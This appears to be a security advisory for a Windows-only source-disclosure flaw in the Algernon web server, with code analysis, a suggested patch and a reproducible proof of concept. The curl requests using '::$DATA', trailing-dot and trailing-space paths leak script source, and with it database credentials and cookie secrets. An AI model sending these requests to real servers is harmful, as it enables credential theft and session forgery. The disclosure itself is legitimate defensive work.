Algernon CVE-2026-52792

Summary

Algernon selects its file handler from filepath.Ext() (engine/handlers.go:134), which does not treat the NTFS-equivalent names x.lua::$DATA, x.lua., or x.lua as .lua. On Windows, an unauthenticated client appends one of these suffixes to any server-side script on a public path and receives its raw source instead of executed output, leaking embedded secrets such as database credentials and the SetCookieSecret value.

Linux and macOS hosts are unaffected.

Preconditions

• Algernon runs on a Windows host (NTFS filesystem).
• The instance serves at least one server-side script (.lua, .tl, .po2, .amber, .frm).
• The script sits on a public path, or no auth backend is configured (--nodb, --simple, or default no-DB).
• HTTP/HTTPS reachability to the server.

Details

// engine/handlers.go:133
lowercaseFilename := strings.ToLower(filename)
ext := filepath.Ext(lowercaseFilename) // "index.lua::$data" -> ".lua::$data", not ".lua"  [offending]
...
if ac.dispatchRenderer(w, req, filename, ext) { // ext unrecognised, returns false
    return
}
switch ext {
case ".lua", ".tl": // execute the script -- never reached for the equivalent forms
    // ... RunLua ...
default:
    // control reaches the raw-file branch below
}

// engine/handlers.go:452
f, err := os.Open(filename) // NTFS resolves "index.lua::$DATA" to index.lua's data stream
...
// engine/handlers.go:479
if dataBlock, err := ac.ReadAndLogErrors(w, filename, ext); err == nil {
    dataBlock.ToClient(w, req, filename, ac.ClientCanGzip(req), gzipThreshold) // raw source to client
}

The request path reaches FilePage through URL2filename (utils/files.go:24), which rejects only ..; a :, a trailing ., and a trailing space all pass through into filename. filepath.Ext does an exact suffix match, so .lua::$data, ., and .lua are not equal to .lua or .tl. The renderer registry and the execute case are both skipped and control falls to the default branch.

The default branch opens filename with os.Open and streams the bytes verbatim. On Windows, NTFS canonicalises the alternate-data-stream suffix ::$DATA, a trailing dot, and a trailing space back to the underlying file, so the bytes returned are the real script source. The missing check: Algernon never rejects or canonicalises Windows-equivalent filenames before choosing a handler.

Proof of concept

Setup

1. Build Algernon from source on a Windows host:

   git clone https://github.com/xyproto/algernon
   cd algernon
   git checkout v1.17.8
   go build -o algernon.exe .

1. Create a web root with a script that embeds secrets, exactly as a real handler would:

   New-Item -ItemType Directory webroot | Out-Null
   Set-Content webroot\index.lua @'
   -- db = POSTGRES("postgres://app:S3cr3t@db/prod")
   SetCookieSecret("hardcoded-session-key")
   print("<h1>hello</h1>")
   '@

1. Serve the directory over plain HTTP with no auth backend (run in its own window):

   .\algernon.exe --httponly --noninteractive --nodb --addr ':8088' --dir .\webroot

Exploit

1. Request the script normally. It executes, and the source is not disclosed:

   curl.exe -s http://127.0.0.1:8088/index.lua

Expected: <h1>hello</h1>. The DSN and cookie secret are absent from the response.

1. Request the same script through its NTFS ::$DATA stream. Algernon returns the raw source:

   curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua::$DATA'

Expected: HTTP 200, Content-Type: application/octet-stream, body is the verbatim Lua source including SetCookieSecret("hardcoded-session-key") and the Postgres DSN.

1. The trailing-dot and trailing-space forms leak the same source:

   curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua.'
   curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua%20'

Expected: identical raw-source response for both.

Impact

• Confidentiality: Reads the verbatim source of any public-path server-side script, exposing hardcoded DB credentials, API keys, and SetCookieSecret(...) values.
• Authentication: A disclosed SetCookieSecret value lets an unauthenticated attacker forge session cookies and log in as any user.

Suggestions to fix

> _This has not been tested - it is illustrative only._

Reject request paths whose final segment uses a Windows-equivalent form (alternate data stream, trailing dot, or trailing space) before extension dispatch.

 func (ac *Config) FilePage(w http.ResponseWriter, req *http.Request, filename, luaDataFilename string) {
+	// Reject Windows filename-equivalent forms that alias a different file
+	// than filepath.Ext sees (e.g. "x.lua::$DATA", "x.lua.", "x.lua ").
+	if base := filepath.Base(filename); strings.ContainsRune(base, ':') ||
+		strings.HasSuffix(base, ".") || strings.HasSuffix(base, " ") {
+		http.NotFound(w, req)
+		return
+	}
 	if ac.quitAfterFirstRequest {
 		go ac.quitSoon("Quit after first request", defaultSoonDuration)
 	}